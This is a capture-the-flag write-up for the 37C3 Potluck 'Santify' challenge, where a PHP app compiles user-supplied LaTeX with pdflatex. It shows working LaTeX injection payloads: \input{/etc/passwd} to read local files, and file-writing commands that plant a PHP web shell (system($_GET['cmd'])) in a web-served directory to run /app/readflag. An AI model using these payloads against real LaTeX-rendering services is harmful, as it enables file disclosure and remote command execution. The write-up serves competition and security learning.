Santify
I played 37C3 Potluck CTF this year and solved a handful of challenges. Santify was my favorite, so here’s a write-up.
Challenge Description
![]()
The backend is PHP and exposes three features:
- User login/registration.
- Create a gift card that supports Markdown/LaTeX for math expressions.
- Send gift cards to other users or to yourself.
While adding LaTeX to a card, I hit this error:
![]()
The error told me a lot:
-
It takes my input and drops it into a LaTeX file
latex.texlike this:\documentclass[18pt]{article} \thispagestyle{empty} \begin{document} ${user input}$ \end{document} - It then runs
pdflatexto compile that file into a PDF/PNG in a per-request output directory. - The error also leaks the exact command running on the backend:
timeout 10 pdflatex -no-shell-escape -interaction=nonstopmode -output-directory /app/images/a8780fmandpjqbfppogg /app/images/a8780fmandpjqbfppogg/latex.tex - The
-no-shell-escapeflag rules out the easy route:\immediate\write18{cat flag.txt}won’t run, and the log just prints “disabled” when you try. - Reading local files still works though, via
\input{/etc/passwd}:

- But pointing it at the flag with
\input{/app/flag.txt}gave me this:
- So plain LFI isn’t enough — I’d need RCE to run the
/app/readflagbinary and get the real flag. - I burned some time trying to execute commands straight from LaTeX per the docs, with nothing to show for it. The idea that worked came from the backend being PHP: if I could write a file next to the generated PDF/PNG, I could drop a PHP shell into a web-served directory.
-
So I looked for a way to write an arbitrary file with controlled contents from LaTeX, and found this:
\newwrite\mytextfile \immediate\openout\mytextfile=abc.txt \immediate\write\mytextfile{hello} -
It wrote
abc.txtstraight into the image directory:
http://challenge15.play.potluckctf.com:31337/images/9fc7o182n43naghibl5h/abc.txt -
From there it’s just a matter of writing a PHP shell instead. Final payload:
$\leftarrow$ \newwrite\mytextfile \immediate\openout\mytextfile=abc.php \immediate\write\mytextfile{<?php echo system($_GET['cmd']);?>} $\leftarrow$ - That dropped
abc.phpin the same directory. Now I could run/app/readflag:http://challenge15.play.potluckctf.com:31337/images/9fc7o182n43naghibl5h/abc.php?cmd=/app/readflag
flag : potluck{christmas_brings_the _categories _together}